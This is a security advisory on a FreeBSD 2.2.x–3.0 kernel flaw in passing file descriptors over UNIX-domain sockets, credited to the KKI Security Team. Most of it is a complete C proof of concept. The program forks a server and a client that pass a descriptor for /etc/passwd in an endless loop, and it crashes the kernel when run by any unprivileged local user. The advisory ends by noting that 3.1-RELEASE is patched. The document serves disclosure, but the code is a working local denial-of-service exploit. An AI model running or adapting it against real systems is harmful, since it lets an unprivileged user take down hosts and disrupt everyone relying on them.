COMMAND

    kernel (sockets)

SYSTEMS AFFECTED

    FreeBSD 2.2.2, 2.2.6, 2.2.8, 3.0

PROBLEM

    Following is  based on  KKI Security  Team.   Problem was found by
    Lukasz Luzar.  As you know, "The UNIX-domain protocol family" is a
    collection  of   protocols  that   provides  local    interprocess
    communication through  the normal  socket mechanism.   It supports
    the SOCK_STREAM and SOCK_DGRAM  soceket types and uses  filesystem
    pathnames for addressing."  The SOCK_STREAM sockets also  supports
    the  communication  of  UNIX  file  descriptors through the use of
    functions  sendmsg()  and  recvmsg().   While  testing UNIX-domain
    protocols, KKI has found probable bug in FreeBSD's  implementation
    of this  mechanism.   When ran  example below  on FreeBSD-3.0  and
    prior as  local user,  system had  crashed imediatelly  with error
    "Supervisor read, page not present" in kernel mode.

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <fcntl.h>
    #include <unistd.h>

    #define PATH "/tmp/123"
    #define PATH_TMP "/tmp/123.tmp"
    #define SOME_FILE "/etc/passwd"

    struct mycmsghdr {
	    struct cmsghdr hdr;
	    int     fd;
    };

    extern errno;

    void server();
    void client();

    void main()
    {
	    switch ( fork()) {
	    case -1:
		    printf( "fork error %d\n",errno);
		    break;
	    case 0:
		    for (;;) client();
	    default:
		    server();
	    }
    }

    void server()
    {
	    struct sockaddr_un addr;
	    struct msghdr mymsghdr;
	    struct mycmsghdr ancdbuf;
	    char    data[ 1];
	    int     sockfd,
		    len,
		    fd;

	    if ( unlink( PATH) == -1)
		    printf( "unlink error %d\n",errno);

	    if (( sockfd = socket( AF_UNIX,SOCK_DGRAM,0)) == -1)
		    printf( "socket error %d\n",errno);

	    strcpy( addr.sun_path,PATH);
	    addr.sun_len = sizeof( addr.sun_len) + sizeof( addr.sun_family)
			    + strlen( addr.sun_path);
	    addr.sun_family = AF_UNIX;

	    if ( bind( sockfd,(struct sockaddr *) &addr,addr.sun_len) == -1)
		    printf( "bind error %d\n",errno);

	    for (;;) {

		    if (( fd = open( SOME_FILE,O_RDONLY)) == -1)
			    printf( "open file error %d\n",errno);

		    len = sizeof( addr.sun_path);

		    if ( recvfrom( sockfd,&data,sizeof( data),0,
			    (struct sockaddr *) &addr,&len) == -1)
			    printf( "recvfrom error %d\n",errno);

		    ancdbuf.hdr.cmsg_len = sizeof( ancdbuf);
		    ancdbuf.hdr.cmsg_level = SOL_SOCKET;
		    ancdbuf.hdr.cmsg_type = SCM_RIGHTS;
		    ancdbuf.fd = fd;

		    mymsghdr.msg_name = (caddr_t) &addr;
		    mymsghdr.msg_namelen = len;
		    mymsghdr.msg_iov = NULL;
		    mymsghdr.msg_iovlen = 0;
		    mymsghdr.msg_control = (caddr_t) &ancdbuf;
		    mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len;
		    mymsghdr.msg_flags = 0;

		    if ( sendmsg( sockfd,&mymsghdr,0) == -1)
			    printf( "sendmsg error %d\n",errno);

		    close( fd);
	    }
    }

    void client()
    {
	    struct sockaddr_un      addr_s,
				    addr_c;
	    struct mycmsghdr        ancdbuf;
	    struct msghdr           mymsghdr;
	    char    data[ 1];
	    int     sockfd,
		    len,
		    fd;

	    if (( sockfd = socket( AF_UNIX,SOCK_DGRAM,0)) == -1)
		    printf( "socket error %d\n",errno);

	    if ( unlink( PATH_TMP) == -1)
		    printf( "unlink error %d\n",errno);

	    strcpy( addr_c.sun_path,PATH_TMP);
	    addr_c.sun_len = sizeof( addr_c.sun_len) + sizeof(addr_c.sun_family)
			      + strlen( addr_c.sun_path);
	    addr_c.sun_family = AF_UNIX;

	    strcpy( addr_s.sun_path,PATH);
	    addr_s.sun_len = sizeof( addr_s.sun_len) + sizeof(addr_s.sun_family)
			       + strlen( addr_s.sun_path);
	    addr_s.sun_family = AF_UNIX;

	    if ( bind( sockfd,(struct sockaddr*) &addr_c,addr_c.sun_len) == -1)
		    printf( "bind error %d\n",errno);

	    if ( sendto( sockfd,&data,sizeof( data),0,(struct sockaddr *) &addr_s,
		    addr_s.sun_len) == -1)
		    printf( "sendto error %d\n",errno);

	    len = addr_s.sun_len;

	    ancdbuf.hdr.cmsg_len = sizeof( ancdbuf);
	    ancdbuf.hdr.cmsg_level = SOL_SOCKET;
	    ancdbuf.hdr.cmsg_type = SCM_RIGHTS;

	    mymsghdr.msg_name = NULL;
	    mymsghdr.msg_namelen = 0;
	    mymsghdr.msg_iov = NULL;
	    mymsghdr.msg_iovlen = 0;
	    mymsghdr.msg_control = (caddr_t) &ancdbuf;
	    mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len;
	    mymsghdr.msg_flags = 0;

	    if ( recvmsg( sockfd,&mymsghdr,0) == -1)
		    printf( "recvmsg error %d\n",errno);

	    fd = ancdbuf.fd;

	    close(fd);
	    close( sockfd);
    }

SOLUTION

    Nothing yet.  3.1-RELEASE is patched.